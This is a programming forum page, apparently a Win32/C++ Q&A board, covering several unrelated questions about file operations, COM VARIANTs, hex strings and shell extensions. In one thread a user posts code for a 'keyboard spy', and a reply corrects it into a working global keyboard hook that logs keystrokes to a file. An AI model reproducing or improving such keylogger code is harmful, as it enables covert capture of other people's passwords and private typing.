|
Member 4227826 wrote: My mail is:
Nice to know.
Mr.Spammer
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
Member 4227826 wrote: So I want to do this to return the directory of file,
Does anyone know how can I do that...
Use PathRemoveFileSpec() .
"Love people and use things, not love things and use people." - Unknown
"The brick walls are there for a reason...to stop the people who don't want it badly enough." - Randy Pausch
|
|
|
|
|
Try
char szCurrentDir[MAX_PATH];
::GetCurrentDirectory(MAX_PATH,szCurrentDir);
|
|
|
|
|
I want to delete some text file from specefied folder at a time. I cannot find error at this code? I have used SHFILEOPSTRUCT. Whats wrong?
SHFILEOPSTRUCT sfo;
sfo.hwnd = NULL;
sfo.wFunc = FO_DELETE;
sfo.pFrom = "C:\\Kapil\\*.*\0";
SHFileOperation(&sfo);
|
|
|
|
|
Try clearing other members of the struct. Either by explicitly setting them or using something like ::memset( &sfo, 0, sizeof( SHFILEOPSTRUCT ) ) .
Peace!
-=- James Please rate this message - let me know if I helped or not!<hr></hr> If you think it costs a lot to do it right, just wait until you find out how much it costs to do it wrong! Remember that Professional Driver on Closed Course does not mean your Dumb Ass on a Public Road! See DeleteFXPFiles
|
|
|
|
|
Sk Mohiuddin wrote: I cannot find error at this code?
How can that be since you are not checking the return value of SHFileOperation() ?
Per MSDN:
pTo - Address of a buffer to contain the name of the destination file or directory. This parameter must be set to NULL if it is not used.
"Love people and use things, not love things and use people." - Unknown
"The brick walls are there for a reason...to stop the people who don't want it badly enough." - Randy Pausch
|
|
|
|
|
Hi all,
Write an hook program that one not allow to create an IE instance. That one may crate but not to populate... Please help me
Regards
vicky00000
|
|
|
|
|
Hello,
I write code for keyboard spy, but every symbol write to file double.
Whats wrong? Help please.
My code
LRESULT CALLBACK HookKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char c;
char str[1];
long i;
if(::GetKeyState(VK_DOWN))
{
i=((EVENTMSG*)lParam)->message ;
c=::MapVirtualKey(i,MAPVK_VK_TO_CHAR);
str[0] = c;
FILE* fout = fopen("log.txt", "a+");
if (fout)
{
fwrite(str, 1, 1, fout);
fclose(fout);
}
}
return CallNextHookEx( hHook, nCode, wParam, lParam);
}
hHook = SetWindowsHookEx(13,(HOOKPROC)::HookKeyboardProc,GetModuleHandle(NULL), 0);
|
|
|
|
|
This really is a job for your debugger, but I'll try to help!
First, you set a hook for WH_KEYBOARD_LL (13). If possible, please use the constants - or comment the code at least as to why you didn't.
This hooks WM_KEYUP, and WM_KEYDOWN messages (and a few others).
So, you press down the 'A' key.
A WM_KEYDOWN message is sent.
Your hook gets called. You then call ::GetKeyState(VK_DOWN) . Look at the help, and you see that it returns some complex code telling you about the status of the down arrow key on your keyboard. This is unlikely to be 0, so end up logging the 'A'.
Then you let go of the 'A' key shortly after.
A WM_KEYUP is sent, and it fires your hook.
That also checks the VK_DOWN key, finds some status that isn't 0, and logs the 'A' key again.
If you only want to log when a key is pushed down (my psychic abilities here), then change your hook to...
LRESULT CALLBACK HookKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN))
{
KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT *)lParam;
BYTE byOut = (BYTE) (kb->vkCode);
FILE* fout = fopen("log.txt", "a+");
if (fout)
{
fwrite(&byOut, 1, 1, fout);
fclose(fout);
}
}
return CallNextHookEx( hHook, nCode, wParam, lParam);
}
|
|
|
|
|
Hello! i'm new in this...
i'm using codeblocks ans wxwidgets libraries.
when my application loads a certain URL (i.e. google), it fails to show the jpeg images. Actually, the only format shown is gif.
I already added "void wxInitAllImageHandlers();" and the library "#include " but still jpeg doesn't appear... i don't know what to do!
thanks a lot!!!!
|
|
|
|
|
hii..,
Can anyone please help me in printing a particular page using win32.Like where are we supposed to give input like which page is suppposed to be printed.Pleaseeeee
|
|
|
|
|
Hi,
Hi, I am using this snippet from msdn to upload a file to a web server. But I need to POST some variables at the same time along with their values. But I have no idea how to do it with HttpSendRequestEx
Please help me.
Thanks.
Dhiraj
|
|
|
|
|
Dhiraj kumar Saini wrote: But I need to POST some variables at the same time along with their values
Do you know how to POST variables without the additional file upload requirement? If not you might want to start there.
Then once you understand the basics of HTTP POST this should provide you with the rest[^]
led mike
|
|
|
|
|
Hi All,
How do I convert integer or long to VARIANT* type in C++? Please give me some example..Thanks.
|
|
|
|
|
Why do you would convert a integer to a pointer to VARIANT ?
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
I am trying to automate powerpoint in my project.Powerpoint exposes this fn LPDISPATCH Item(VARIANT* Index). Code I am trying to write as below.
CString str;
long count = addIns.GetCount(); //powerpoint addins
for(int i=0;i<count;i++)>
{
//Here I have to use Item(..) as mentioned above.
}
|
|
|
|
|
What object exposes what method?
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
powerpoint application object exposes fn Item(VARIANT*)
|
|
|
|
|
Perhaps something this will do...
CString str;
long count = addIns.GetCount();
for(int i=0;i<count;i++)>
{
VARIANT var;
var.vt = VT_I4;
var.lVal = i;
LPDISPATCH lpDisp = TheInterface->Item( &var );
}
"It's supposed to be hard, otherwise anybody could do it!" - selfquote "High speed never compensates for wrong direction!" - unknown
|
|
|
|
|
SRKSHOME wrote: How do I convert integer or long to VARIANT* type in C++?
Directly? You don't.
But if you need to call a function that wants a pointer to a variant (holding a long), then it's straightfoward.
CComVariant varTemp (lMyLongVariable);
HRESULT hr = SomeFunction (&varTemp, other, parameters, here);
Iain.
|
|
|
|
|
It's easier to just use the COleVariant class.
"Love people and use things, not love things and use people." - Unknown
"The brick walls are there for a reason...to stop the people who don't want it badly enough." - Randy Pausch
|
|
|
|
|
Hello !!
I have an byte array of this type
BYTE abyTemp [6] = {0x0D, 0x0A, 0x06, 0x00, 0x81, 0x1B}
I need to convert them to string
CString strTemp;
strTemp = "0D0A0600811B"
I tried in this manner
chat ch;
CString str;
for (i=0; i < 6; i ++)
{
ch = byTemp [i];
str += ch;
}
but here i get some special symbols..
|
|
|
|
|
You are adding them as the bytes into your string - which as you see will cause confusion.
Try:
CString MakeHexText (BYTE *byIn, UINT nCount)
{
CString strReturn, strByte;
for (UINT n = 0; n < nCount; n++)
{
strByte.Format (_T("%02x"), byIn [n]);
strReturn += strByte;
}
return strReturn;
}
Iain.
|
|
|
|
|
Thanks its working !!
|
|
|
|
|
Hello.I have a problem with Shell integration. I have created DLL wich add a new menu item into explore popup menu.
When i work with simple menu, i have no problem.But i need insert into explore menu with submenu.I deed it.
An that is the question.How i can process event, when user push my submenu?I use IContextMenu interface, and process
Initialize, GetCommandString, QueryContextMenu and InvokeCommand events.When i add submenu, InvokeCommand event no working on it.
Wait for answer. Thanks for help.
|
|
|
|